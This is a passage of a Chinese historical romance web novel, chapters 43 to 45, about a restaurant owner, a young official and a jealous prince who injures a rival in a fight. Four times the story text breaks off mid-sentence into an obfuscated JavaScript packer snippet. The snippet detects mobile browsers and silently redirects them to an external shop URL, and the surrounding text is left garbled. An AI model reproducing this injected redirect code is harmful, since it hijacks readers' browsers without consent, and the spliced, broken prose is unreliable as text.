文明修抬头看她,小娘子白净秀气的面庞带着薄薄的红晕,这是他第一次如此近距离地跟小娘子接触,原来她身上有一种淡淡的花香,似有还无,很让他上头。还有她白皙莹润的面颊,不点自朱的红唇,清澈见底的瞳仁中尽是心疼和小心翼翼。 原来被一个小娘子这样照顾着,是这般美好又满足的感觉,而且,小娘子好香啊。 那一刻文明修觉得自己好似成仙,没有比当下更好的了。 “好了,幸好药膏就在手边,处理得及时,没有起水泡应当很快就能好了。”梅映禾如释重负,抬起头刚好对上那双正盯着自己的双眸。 眼前的郎君眼含深情,一双眼好似能说千言万语,看得梅映禾脸热,心跳也突突骤然变快几分。 突如其来的暧昧气氛让梅映禾有些不知所措,“听说文大人高升了?” 说点儿什么打破僵局,手上假装很忙碌地胡乱收拾桌子。 文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14429393|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明修也赶紧收回眼神,垂眸道:“只是一个侍郎而已。” 旁边的同僚补充,“那可是户部侍郎,将来管着这街市的营生和商贸,少不得要同店主小娘子多打交道呢。” 二人又是一愣,彼此对望一眼又快速调开视线。 “那恭喜大人了,今晚我亲自下厨为大人庆贺。”梅映禾的声线突然变得很轻快。 “不敢不敢。”文明修真心婉拒,“一则这几日实在繁忙,二来小早你也要钻研酿酒的事,再则许大人不日也要高升,恐怕又能有缘分教导下官,所以,来日方长吧。” 心里默默吁出一口气,梅映禾道:“那便先欠着,等大人忙完义父高升,咱们一起庆祝。” 文明修点头,再不敢看她,忙加入到同僚的酒局之中,直到偷看到梅映禾躲到灶房里去,这才将气息彻底捋平稳。 同样气息不稳的还有远在千里之外的赵行之。 寒冬腊月的时节,演练场上的精壮汉子们一个个赤裸上身,练得汗流浃背。 此次操练还有最后几日的比拼就彻底结束了,赵行之刚从演武场上下来,佑安递上巾帕,梅九畴送上热茶。 “王爷真是厉害,今儿算是让咱们大开眼界了。” 以一敌百于赵行之而言不在话下,佑安看着二人坐下歇息,赶忙跑去车里给他拿衣裳。 赵行之披上外裳坐下擦汗,“听说小早酿酒遇到难题了。” 梅九畴没想到他上来就说小早的事,笑道:“那丫头看着软软的,其实脾气跟我一样,死犟死犟的,不让她彻底研究出来决不罢休,小梅给我来信说是憋在府里十多日不曾出门了,不过不用担心,那丫头自己想通了就好了。” 看着梅九畴一副满不在乎的样子,赵行之凝眉,“天底下怎么有你这种不关心自己妹妹的哥哥。” 被他怼了一句,梅九畴一愣,他不关心小早吗,没有啊,很关心啊,而且还嘱咐小梅照顾自己的妹妹呢,可是王爷怎么说…… 到底是恋爱过来的人,梅九畴一瞬间捕捉到了赵信之身上那种摸不到够不着又心急如焚的烦躁气息。 小梅在信里跟他说了一件事,觉得文明修对小早有意思,二人还讨论,小梅觉得文明修斯斯文文的脾气好又有学问,配小早再好不过了。可是梅九畴却说得找个会武艺的,不然将来没法保护他的妹妹。 赵行之一直都有派人保护梅映禾,这事梅九畴知道,现在想来却是另一层意思了。如果王爷做了他的妹夫…… 甚好,这才登对。 那一刻,梅九畴醍醐灌顶,一下子开窍了,憨笑两声凑到赵行之身边,缓声道:“王爷说的是,其实我也是关心我妹子的,只是现在想想,如果只有心里关心,不说出来不做出来,对方怎么会知道呢,对吧。” 粗犷的黑脸汉子意味深长地看着赵行之,言语中尽是点拨之意。 刚巧佑安拿来了换的衣裳,赵行之没理他,起身更衣上马打道回府。 虽没接话,但梅九畴的话一直在他心里盘亘,他说得对,他的关心应当让她知道,梅九畴不就如此嘛,将自己的月俸分成两份,一份给妹妹一份给小梅,还经常给小梅带礼物回去。 想起礼物,赵行之恍然大悟,打马掉头,忡佑安道:“你先回去,本王出去一趟。” 43. 大吃一顿 这世上很多事便是如此,正所谓事缓则圆,等一等缓一缓,或者换个角度看问题,麻烦迎刃而解。 自那一日起,梅映禾便恢复了日日准时到铺子上的习惯,酿酒的事情仍旧潜心继续,只是不再逼迫自己必须短时间内达到成果,人也一下子松弛下来。 不仅如此,她还让周大厨彻底放开技艺,但凡有人上门讨教一二必倾囊相授不藏私,无论是同行还是普通人家的妇人,或者是高门大户的厨子,一视同仁童叟无欺,或梅映禾亲自教习,或周大厨传授秘籍,但大多数时候还是以周大厨为主。 看着他十分认真地教授技艺,梅映禾脑子里生出了开办厨师学校的想法。 嗯,倒也不是不可以。 “什么可不可以。”身后沈聪的声音响起,“师父,这是我世伯,聚仙楼的东家,想拜托周大厨传授技艺。” 沈聪又带了同行过来。 既然是同行,梅映禾只要在铺子上一定会亲自接待以示尊重,毕竟,她是这个行业的新人,很多经验还需要向前辈请教。 相谈甚欢,同往常一样,几名聚仙楼的大厨被周大厨带去了灶房。 “听闻梅东家最近在研究酿酒。”聚仙楼的张东家拿出两个酒坛子,“这是聚仙楼的仙人醉,我特意带过来给梅东家品尝。” 聚仙楼的仙人醉是这半年流行起来的酒,味道醇厚香浓,十分受欢迎。 梅映禾诚挚道谢,“多谢张东家的慷慨,不瞒您说,我最近的确在酿酒一事上颇有些头痛。” 张东家出手拦住了她的话,“梅东家是个爽快人,方才我便看出来了,所以在下不才,将这个送予梅东家以作参考。” 一张被叠起来的纸送到梅映禾面前,梅映禾疑惑展开,竟然是仙人醉的方子。 “梅东家不必客气,是您慷慨在先,以我的年岁足可以做你的长辈,自然不能白白占了便宜,算是我们两家交好的缘分吧。” 梅映禾十分激动,赶忙起身道谢:“我同沈聪年岁相当,按道理应当同样称呼一声张世伯,梅映禾十分感谢。” 这个方子写得十分详尽,足以让梅映禾举一反三地研究出不同口味的酒来,算是最大的难题解决了,梅映禾的心里顿时觉得畅快许多。 这几日陆陆续续来了不少同行,有的是来登门求教的,大多数是来聊天热闹的,梅映禾的好吃食铺现如今无论是不是饭时都是满满的人。 小娘子被围在中间,和大家热烈的畅聊,聊厨艺聊酿酒,聊同官府打交道的秘诀,聊市井百姓的趣事,坊间八卦,更多的是同行业之间的交流和吐槽,渐渐熟络起来,下午的茶话会便成了日常。 好吃食铺除了味道绝佳之外,新鲜的食材也是被追问最多的。梅映禾请来老村长,向大家隆重推出梅花村。如今老村长也是久经沙场的高手,有新鲜的肉菜就有底气,再加上梅映禾的加持,梅花村来年的预订量翻了几番,这个消息让梅花村的村民都很振奋,先前不怎么相信梅映禾的几户单干的人家也都纷纷跑来道歉,梅映禾自然不会计较,劝说大家同村长好好配合,日子肯定越过越好。 她成了大家的中心,每日都有许多人围在她身边,或询问或商讨,或聊天或八卦,热热闹闹。 梅映禾也一改前些日子的阴云弥漫,现在脸上整日都挂着灿烂的笑容,酿酒的难题已经攻克,正在按部就班地一点一点熟悉起来,新朋友越来越多,同行也相处融洽,铺子里每天都有不同年龄段的朋友聚在一起,看着窗外的飘雪,小饮一杯再吃些烤地瓜烤乳酪,并着新做出来的各种热饮子,这日子过得不要太开心哦。 原来京城的酒楼和餐馆也有自己的圈子,类似于后世的商会,这里叫总商,目前是一位年逾古稀的老人家做商总,据说因为身子不好,商总老早就不经营餐馆酒楼了,前几年转让出去,但是因为德高望重,在行业内很得后辈们的尊敬,这个商总依旧做着,只是极少露面,更别提组织大家一起相聚活动了。 “师父,我看你做商总就很合适。” 这话是沈聪说的,倒是也有不少人应和。 梅映禾的技艺自是不必提,人脉广人缘好,组织大家聚在一起也是得心应手一拉就响。 “不成不成。”梅映禾深知资历深厚、长幼有序在这个时代的道理,“各位前辈在这里,哪里轮得到我这个后辈,莫要乱开玩笑。” 的确,愿意相交、相聚是一回事儿,但是作为商总不仅仅是聚集大家这么简单的事,往上要同官府打交道,往下还要供货商家的资源,平行来讲还能够与关联行业诸如酒水、面点等熟悉,说起来是个十分错综复杂的事情,梅映禾自认自己没那样大的能力,目下能做好自己的一亩三分地就不错了。 但是沈聪的提议却得到了许多人的赞同,大家纷纷起哄逗笑,铺子里的氛围一下子热络起来,自然也有觊觎商总一位的同行露出不善的目光,言谈间也颇有微辞。 “小早是后辈,又是小娘子,各位就莫要打趣她了。”文明修现在只要有空就过来,因为任职户部侍郎,参与这样的总商聚会也是分内之责。 一边帮梅映禾解围一边很自然地剥烤红薯的皮,一点一点极有耐心,剥掉一半的皮后拿不忘拿了勺子递到她手边,文明修温柔道:“尝尝看,这一次甜不甜。” 甜,齁人,小梅在一旁捂嘴偷笑,全然没看到门外进来的人。 门外的风雪被灌了进来,屋里的暖意顿时消融,大家纷纷看过去,门口站着两个人,一身甲胄风尘仆仆。 “九哥。”小梅一下扑进梅九畴的怀里,抱着就不撒手了。 “哥哥,七哥。”梅映禾也赶忙站起身跑过去,上下打量一番,“冬日里也能晒黑,可见多辛苦了。” 小娘子心疼了。 看着人家一家人团聚,大家识趣地起身见礼然后纷纷告辞离去。 “今日我亲自下厨,给二位哥哥接风洗尘。”梅映禾很兴奋,“文大人留步,趁着人多热闹,将欠大人的恭贺礼也一并补了。” “那便恭敬不如从命了,只是下官的升迁实在不值一提,今日朝堂上陛下升了许大人,如今已是户部尚书了,下官算是陪着许大人庆贺吧。”文明修一如既往的谦虚。 梅映禾惊喜,“当真吗,那赶快派人去府中将义父请过来。” “师父我去。”沈聪说着便冲进了风雪里。 热热闹闹地张罗着,梅映禾算了算人数,店里的六人加上哥哥和七哥,还有文大人和沈聪,再加上佑安和义父十二个人,一个大桌刚刚好。 “今日敞开肚皮,大吃一顿。”梅映禾撸起袖子钻进了灶房。 有日子没有一个人开一桌席面了,梅映禾不让旁人打下手非要一个人来,灶房里的六口大灶全都用上了,小鸡切块热油炸一遍,炖锅里煮着牛肉,海参泡发,扇贝放在水里吐沙,这样下雪的日子铁锅炖自是不能少,店里今日刚到的甲鱼处理过后用来炖鸡,放些菌子贴上饼子,鲜香浓郁最是下饭。 还有两个灶口用来小炒,这么多人下酒菜自然少不了,葱爆羊肉是义父的最爱,还有哥哥喜欢的炒杂菜,再来个红烧排骨和老鸭汤,凉菜随意抓一些,手边还有鹿角和海带,再来一份夫妻肺片和小糟鱼,一桌子菜妥妥当当。 赵行之站在灶房门口半晌,梅映禾都没有发现。 从他进门就看到了文明修温柔蜜意的眼神和举动,还有小早习以为常的反应,可想而知,有人怕是要近水楼台先得月了。 况且从发现他们进门,小早只是过来象征性地抱了抱他和梅九畴的腰,而且很明显抱他的时间很短,一触即离,之后便一头扎进灶房里头再没同他说过一句话,甚至都没看过他一眼。 如是想着,赵行之心里有一种酸楚冰冷又烦躁的感觉。 直到他轻轻咳嗽了一声,梅映禾才抬头,“七哥,站在那里多冷,是不是受风了。” 把人让进来,端上茶水,赵行之接过喝了一口道,“没事,看你忙得很没打扰你。” “你七哥快马加鞭地往回赶,追命一样,明明七日的路程愣是日夜兼程五日回来了。”梅九畴也进来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14440455|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 “七哥是有要紧事?”梅映禾问。 “没有,别听他胡说,每次往返都是五日。”赵行之瞪了梅九畴一眼,“倒是你哥哥,这次演习中不仅成绩最优还救了同伴一名,立了功。” “哎哟,我就说嘛,我哥哥最厉害了。”梅映禾跑过去在梅九畴怀里蹭啊蹭的,抬头问,“哥哥可给我带了什么好东西吗?” 梅九畴:…… 荒山野岭哪里有什么好东西。 “没有?”梅映禾柳眉倒竖,怒目圆睁。 梅九畴慌忙站起身,一边往外逃一边道:“去问你七哥要,他给你带了。” 赵行之:…… 他怎么知道,别说,还真带了。 梅映禾期待的目光落在赵行之脸上,看得赵行之有些紧张。 怀里揣着一个小包袱,是他在边镇的街市上给她带回来的各种香料,据说是西域特有的,京城里很难能买到。 这是他第一次给人带礼物,多少有些不知如何开口。 “七哥。”梅映禾催促。 “给。”赵行之将包袱掏出来递给她,“你看看能不能用。” 十分具有异域风情的小包袱里头包了二十多种香料,连梅映禾都认不全,但却是极好的做菜的材料。 “这些太珍贵了,我得翻书看看如何使用。”梅映禾如获至宝,小心翼翼地将香料包起来,“七哥那么忙,那里又是不毛之地,能带这些回来想必费了不少功夫吧。” 看着她如此喜欢,赵行之这才松了一口气,随意道,“没有,随手而已。” 天知道那几日他日日骑行几十公里跑去镇上集市精挑细选,这些东西并非一家铺子的货,他足足跑了六七日才凑齐。 “七哥,我听说你有厌食症,是真的吗?” 冷不丁被问及这个不怎么光彩的隐私,赵行之一愣,随即本能地否认,“没有。” 梅映禾挑眉看了一眼他躲闪的眼神和心虚的模样,便心中有数不再追问。 许且来到的时候天色已经完全暗了下来,老大人嗔怪,“陛下拉着老朽不放,险些留在宫中用膳,御厨房做的吃不得,若不是老朽借口肚子疼都不得脱身。” 菜肴丰盛,酒香四溢,这一次大家真诚地夸赞了梅映禾的酿酒手艺,进步还是很大的。 原本坐得规规矩矩的位子,因为相互敬酒祝贺乱了秩序,许且拉着赵行之询问演习的情况,这一次演习说是演习其实也是一次对边塞的暗访,赵行之觉得蛮夷蠢蠢欲动,还是要准备时刻迎战。 许且点头,“这几年他们发展壮大,狼子野心难免觊觎,卧榻之侧岂容他人安睡,云策可以考虑先下手为强。” 赵行之点头,“学生也是这般思虑,只怕陛下会因国库空虚灾情刚过,踌躇不定。” “那便是户部的事了。” 说到户部,许且的目光落到了文明修的身上,这个年轻的后生让他很是满意。 文明修此刻正在同梅映禾说着什么,二人十分投入,小早笑得花枝乱颤很是开怀。 “能让小早如此开心的都是好后生。”许且笑着看向身边的赵行之,却被他的一张冷脸吓了一跳。 刚才还好好的,怎么一转头的工夫那眼神好似要杀人。 一整晚,这个文明修都黏在小早身边,跟屁虫一样。也不知道说了什么,惹得小早开心得不得了,全然不似方才跟他在灶房里聊天那样恭敬,一口一个“七哥”,很是陌生。 赵行之倏然饮尽杯中酒,捏着杯子的指尖暗暗用力,咬牙道:“银子的事拜托许大人,蛮夷实在猖狂,本王不能再坐以待毙了。” 看着血气方刚的后生一会儿高兴一会儿生气的模样,老大人瞬间明白了,小王爷这是借题发挥,吃醋了。 “王爷说得极是,凡事先下手为强,后下手遭殃。” 老大人眼神炯炯点头附和,赵行之一愣登时明白了他的意思,意外地红了脸,还要分辩几句却听得门外响起熟悉的女声: “殿下回来了。” 44. 打人了 “与本王何干 食铺的热闹是属于梅映禾的,年轻的小郎君小娘子们在一起,又是久别重逢的喜悦,自然酒喝得多了些,人也更松弛更畅快了。 推杯换盏,眉目含笑,嬉笑间拉近了彼此的距离,越发显得赵行之的冷淡与那热闹的气氛格格不入。 “老师为何突然会答应入朝为尚书?”赵行之别过脸去,避开那些围在她身边的人。 其实对于这个问题他心里隐隐有些猜想,同他悄悄查来的梅映禾的身世有关。 虽还未确切查到什么,可那种冥冥中的感觉总是似有似无地指引着他。 许且笑了下,给出的答案却并未如他所料,“过去,老夫孤独一人,无甚追求,如今不同了。” 老大人一双慈目看向热闹中的梅映禾和梅九畴,“也算儿女双全的幸福老人,合该为子女的未来打算一二,断不能随心所欲放任自流了。” 为人父母后的人生动力来自于此,也算是一种期待的幸福。 许且的目光始终落在那片热闹里,赵行之却凝眉,老师没有说实话。 灯火闪耀之处,灵动灿烂的小娘子正享受着当下的开心,这于她终日操心劳力的生活中,无疑增添了难得的乐趣,即便围在她身边的人让赵行之不喜,却也不忍心打扰她。 许且看着一旁沉默不语却又眉目清冷不舍的赵行之,忍俊不禁,半调侃半认真道:“云策端方持重,自是不会像他们那般让小早开怀,凡事过犹不及,时移势易,这性子该改也要改,切莫错过良机。” 话中有话,被一语道破心思,赵行之的脸骤然发热起来,垂眸道:“学生并无他意。” 呵,还嘴硬,看你能硬到几时。 许且不再多言,只看着这一双儿女心里满满都是幸福。 热闹之中的梅映禾似乎也瞧见了这边,含笑隔空朝许且敬酒,父女二人对饮,她笑得那样灿烂。 梁诗云陡然出现的时候,聚会已近尾声,沈聪和文明修正在因为谁送小早回家而争论不休,眼看着她即将被人带走,这一整晚甚至都没机会同她多说两句话,赵行之在看到梁诗云的那一刻,心中的不快彻底爆发。 “这不是你该来的地方。” 他也不去看小娘子因见到他而欣喜又失望的神情,甫一上来便将人噎了个半死。 就连身旁的许且也是一愣,心里头直摇头,这个学生啊,实在是不知该如何同小娘子们相处。 默默闪开,远离战场,许且借着酒劲打道回府。 “那王爷就该这般对我吗。” 心中原本酝酿着千言万语,梁诗云想过质问他的不告而别,数落他的冷待;想过像小时候一样跟他撒娇换来他的道歉;甚至后来觉得或许他有万般无奈,只需他一句关怀她便既往不咎原谅他…… 却不曾想过,他竟是现在这般不耐和厌烦。 所有的准备化作齑粉,梁诗云也十分不客气地回怼了他一句,泪水却不争气地盈满眼眶。 早知他是个冷面冷心的人,就不该对他抱有不切实际的幻想,却怎么也没想到,他对自己竟连一丝耐心也无。 梁诗云微微仰面,不让泪水落下,冷声道:“我们是有婚约的,王爷若是嫌弃我便可直说。” 那双漂亮的深眸终于落到了她的脸上,同时一道冰冷的声音落下:“那日选你是权宜之计,我以为你会懂事,竟也这般愚蠢迂腐。” 啊,他竟然在骂她。 梁诗云怔愣,半晌没反应过来。 是意料之中的答案,可真要面对,多少有些无所适从。 沉默良久后,这才努力克制自己颤抖的声音,梁诗云问:“王爷从未喜欢过我吗。” 换来的却是赵行之略带嫌弃的眼神,满眼都是你以为呢。 “你我是从小一同长大的情分,本王的性子你该知晓。”赵行之的目光重新落在不远处那片热闹里,眼看着大家都要起身离席,越发对梁诗云没了耐性,“若是本王让你误会了,自会补偿你,还望五娘子莫生出不该有的想法。” 这是一句警告,彻底让梁诗云热切的心落入冰封。 有人告辞离去,食铺的门被推开的一刹那,外头的冷气裹着风雪卷入屋内,也终于在这一刻彻底将梁诗云的热情浇灭。 眼中本就饱含泪水,在冷风扑面的那一刻实在忍不住了,豆大的泪珠滚落面颊,梁诗云哭得泣不成声。 许久以来的委屈和愤怒陡然决堤,哪里还顾得上旁人的眼光,这位千娇百宠的小娘子越哭越难过,越哭声音越大。 想一想自己从小到大都只倾慕他一人,并非因为他的皇子身份,实在是因为那一张人见人爱的脸。 他从小就好看,是那种格外出挑的好看,而且稳重端方从不恣意妄为,做任何事总是最出色的那一个,是京中小娘子们心中最佳的郎婿,她喜欢这样一个优秀的人有什么错。 因得家族和父辈们的关系,赵行之同她走得也比旁人近些,总是能在众目睽睽之下单独叫她,同她说话,都不看旁的小娘子一眼。 这种被特殊对待的感觉一直持续到他选妃,如出一辙,这种感觉梁诗云太熟悉了,那日,她有十足的把握他一定会选她。 果不其然,他又一次让她成为其他贵女眼中又羡慕又嫉妒的对象,这些年来大家对她的恶意在那一日达到了顶峰。 可是,那又如何,她拥有了大隶最英俊潇洒的夫君,为此招来敌人和恶意梁诗云不在乎。 可是,短短一个多月,让她从众人瞩目的焦点变成了万人嘲笑的对象。 大家都知道了王爷这一个多月都没见她,更没约她,甚至连离开京城远走演习都没有同她知会一声,现在人回来了,她也是从旁人嘴里知晓的。 她究竟算什么。 梁诗云心有不甘,明明心里知晓他或许并不喜欢自己,可是没有听到他亲口承认总是抱有一丝幻想。 现在好了,他冷冰冰的话语砸在她的脸上,她清醒了,也崩溃了。 “从小到大,你都是将我当成挡箭牌吗?”她委屈地质问他。 还问这种问题,赵行之很是不解,他做得还不够明显吗,虽然从未对她明说过,可是从幼时起他便只在众人瞩目中跟她讲话,将她约出来,然后,就没有然后了,他们私下里从无往来,他甚至都没有让她进过府门。 食铺里的人都走得差不多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14465652|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,梅映禾送走了文明修这才看到了角落里哭成泪人的梁诗云和一张冷脸的赵行之。 心中恍然明白,他们二人之间是应该好好讲清楚的,可是,看着眼下这情形怕是该说的都说过了吧,梅映禾想起了梁诗云对自己的哭诉和对赵行之的讨伐,原先埋藏在心里那点儿不痛快跃然而出,至此她才倏然明白,为何这次七哥回来自己对他似乎有些疏离和冷淡,以至于都不想跟他多说话。 原来症结在这里,跟一个渣男有什么好聊的。 借着酒劲,梅映禾踉跄着脚步走过去了,拉起梁诗云的手狠狠地瞪了一眼赵行之,转身便走。 “我怎么同你讲的,因为一个渣男你这样伤心,值得吗?” 她的声音不大不小,在已经安静下来的食铺里却格外明显。 “他没有心,你再难过他也熟视无睹,不如照顾好自己,该吃吃该喝喝,走,去后头,我给你做碗长鱼面。” 小娘子倔强无情的背影落在赵行之眼里尽是骇然。 她这是在说他吗,她怎么会这么看他,她是什么时候对他有这般成见的。 他自问对梁诗云从无半点逾矩,可是对她梅映禾可是有求必应,事事以她为先,她……难道看不到吗。 白眼狼。 嘴巴上怨着,心里却委屈得很。她知道什么就这样说他,仅凭梁诗云一面之词就骂他,什么渣男,一听就不是什么好词,连一张好脸都不给他,亏得他还日日担心她,千里迢迢给她带来那么香料讨她欢心…… “王爷欺人太甚了。” 一道男声打破宁静,比自己矮了半头的沈聪正站在面前怒视着他。 赵行之蹙眉,“与你何干。” “怎么与我不相干。”沈聪年轻且性子活泼,音调更高,“五娘子是我的朋友,这些日子你知道她哭了多少回吗,你知道她有多难过吗。” “与本王何干。” 听他这般冷漠无情地说出这种话,沈聪气得猛拍桌子,“王爷不是选了她做王妃吗,为何始乱终弃,为何耍人,你让她在京中受人冷眼,遭人非议,她一个小娘子脸面何在,日后如何立足。” 旁人如何议论,有这么重要吗。 赵行之不明白,为什么因为议论就没了脸面无法立足,“她活在别人的议论中吗。” 沈聪:…… 简直对牛弹琴。 “小早说得对,你就不是个值得托付的人。” 不知为何,沈聪的这句话似乎彻底激怒了原本还算平静的赵行之,伸出手抓住沈聪的前襟将人拎了起来。 他是习武之人,力气又大,沈聪虽从小学过一些拳脚功夫,可是对上赵行之这样的高手怕是一拳也敌不过的。 “你,要做甚。” 沈聪变了脸色,这位晋王殿下在坊间的传闻闪电一般出现在脑海里,都说他喜怒无常、阴晴不定,前些日子看着还凑合一人啊。 可是现在这一刻,沈聪是彻底明白了什么叫周身寒气如冰锥刺骨,只被他抓着,就已经觉得胸腔震荡喘不过气来了。 “你们在小早面前胡言乱语,今日本王就要教训教训你这个搬弄是非的小人。” 45. 不开窍 这几日刚好都有长鱼送过来,晚上梅映禾做了爆炒长鱼,很受欢迎,眼下还剩下一些,用来做长鱼面再合适不过了。 需将长鱼洗净后用开水烫熟,其他的配料,诸如生菜、香干、大葱、青椒、红椒、豆芽、胡椒等翻炒,再放入些肉酱增添鲜味,之后煮好面,将汤料浇入长鱼和面中即成。 梅映禾琢磨着多炒一些配料,盛出来一份带回府去,今晚义父只顾着喝酒了,想来夜间定会觉得饥肠辘辘,回去煮了面直接浇汤汁刚刚好做夜宵。 看着香喷喷的面端到面前,梁诗云的脸上也露出笑模样,“天下大事吃饭第一,你别说,看到这碗面我还真是有些饿了。” 没有什么是一餐美食解决不了的问题。 “五娘子现下心情好些了吗?” “好多了。”梁诗云将面条高高挑起,吹去氤氲在面前的热气,“你说得对,他并不喜欢我,是我自己不甘心,为了一个不在乎我的人折磨自己,犯不上。” 通透的姑娘,梅映禾就喜欢这种拿得起放得下的小娘子。 第一口裹着浓厚汤汁并着一块肥厚长鱼的面刚放入口中,就听得前面铺子里轰隆一声巨响,好似什么东西坍塌一般,很是吓人。 “我出去看看。” “我随你一起。” 梁诗云将那口面还是塞进嘴巴里,随着梅映禾来到前厅,二人被眼前的一幕吓得僵住了。 食铺的门被大力撞破,屋内倒是没有任何损坏,跑出去看,外头的也没什么。 “他……”梁诗云犹豫道,“走了?” 梅映禾自然知道她指的是赵行之,点了点头,“走了,可是沈聪也走了吗,他方才还说要送我们回去呢。” 可是眼前这破门的大洞又是怎么来的。 门板被撞坏,今晚上恐怕都不能关门了,外头这样大的风雪可如何是好。 出去倒泔水的阿十回来,也被这破损的门板惊到了,“可是发生了什么,阿姐有没有受伤。” 梅映禾摇头,想问问他可是看到了什么,阿十回忆,他走的时候屋子里只剩下晋王殿下和沈少东家,二人站在一处,说了什么阿十没听见,“只顾着收拾餐盘冷炙,没留心。” 算了,不管他们了,梅映禾又查看了门板,的确是不能用了。 “阿姐,咱们柴房里头还有一块门板,当初我刚来的时候你给我当床铺的那个,想来可以应急。” 还真是,当初临时凑合了两日,后来给阿十重新买了床,那块门板因为没什么大的瑕疵,梅映禾节省就没舍得扔掉,如今算是物尽其用了。 所以吧,积攒是个好习惯,看着没什么用的东西说不定某日就派上了大用场。 几人合力将门板装上,吃完了面夜已深了,阿十自告奋勇,将两位阿姐一一送回去,梅映禾感慨,“咱们的小伙子长大了,如此体贴将来定是个好郎君。” 一句话让少年红了脸。 第二日,梅映禾如常到了铺子上,这才听说沈聪受了重伤。 究竟怎么回事,小梅神色躲闪,梅九畴也不见了踪影。 想了想昨晚上阿十的话,梅映禾心里猜出七八分,带着刚煲好的雉鸡汤去了沈府。 沈聪头上裹了厚厚的纱,一张脸惨白无血色,身上零星有些伤却不重。 “我没事,昨晚上路滑摔了一跤。” 打完架的人都这么说。 梅映禾送上雉鸡汤,“这是一早炖好的,是从一个苏北小城学到的,据说当年尧帝到了那个地方就得了风寒,生命垂危,彭祖献上这碗雉鸡汤将尧帝的病治好了,那地方便被赐名彭城。” “所以我要多喝两碗。”沈聪向来对吃食来者不拒,听到这样的典故尤其感兴趣。 “七哥也受伤了吗?”梅映禾搅动着碗里的勺子,不动声色地问他。 沈聪捧着一个碗,雉鸡汤喝得见了底,抹了抹嘴道:“他怎么可能受伤,十个我加一起……” 对上梅映禾冷若冰霜的眸子,沈聪自知说漏了嘴,这才央求她,“我们只是比试切磋,我这个伤是不小心撞的,不重。” 门板都撞烂了,他竟然还帮人说话。 梅映禾哭笑不得,“脑震荡了,你还说不重?” 什么脑震荡,沈聪不懂,强辩道:“王爷是习武之人,手上力道大,我飞出去那一刻他也愣住了,赶忙抱起我送了医馆。” 啊,抱。 冰天雪地里,一男子抱着另一名男子急切地闯入医馆……那画面在脑海中太具体了,不忍直视,梅映禾一时无语。 “王爷还说我呢,怎么这么不禁打。”沈聪似乎有些懊恼,“小早,你别说是我告诉你的,男子汉大丈夫,这点儿小事不至于告状,多丢人啊。” 打架不丢人,告状丢人,这是什么样的脑回路。 梅映禾又陪着他坐了一会儿,看着喝了三碗汤的病号明显有了困意,这才辞出。 又见了沈聪的祖父,老人家笑得一脸灿烂,“一大早晋王府就送来了各种补品和礼品,好几大箱子,可折煞老朽了。” 一脸喜庆,丝毫没有担忧孙子伤势的愤怒,“聪儿的伤跟他自己冒失不无关系,我这个孙子我太了解了,自认为自己什么都懂实则冲动莽撞,好在晋王殿下不跟他计较……” 事情正如梅映禾猜测的一般无二,就是七哥打的,连门板都打破了,可见他使了多大的力气。 回到食铺的时候,梅映禾的一腔怒火仍未消除,抬头刚好撞见坐在铺子里闲适等她的赵行之,小娘子的暴脾气便再也憋不住了。 “晋王殿下好大的威风,将人打到卧床不起,只需送些礼再施压,事情便能轻轻揭过。”她甚至改了口,七哥也不叫了,“到底是普天之下莫非王土。” 赵行之:…… 这句话是这么用的吗。 “你应当听我解释。”他站起身,高高的身量遮住了她面前的光和去路,“伤了沈聪并非我本意,我已向他道歉。” “道歉就可以了吗,杀了人道歉就可以当作无事发生吗。”梅映禾声调高起来,仰起头直视他,“那五娘子呢,你那样伤害别人的感情,明知道她钟情于你,为何一次次拿她做挡箭牌,一个大男人总拿女人做挡箭牌,算什么英雄好汉。” 这话说得赵行之哑口无言。 “我并不知道她对我……”声调小了许多,还夹杂着些许委屈,赵行之垂下眼皮,“我一直以为她跟我一样。” “我一直以为七哥是个有情有义的好人。”梅映禾哼道,“如今看来道不同不相为谋,让开。” 小娘子小小的个子气势汹汹,逼得赵行之不得不侧身让行。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小娘子梗着脖子骄傲地煮鱼头汤去了。 这份鱼头汤是用今日才送来的大头鱼的鱼头炖煮的,加了人参枸杞,很是补身,梅映禾总觉得沈聪是在她这里受的伤,合该她负责到底,况且还叫了她那么久的师父。 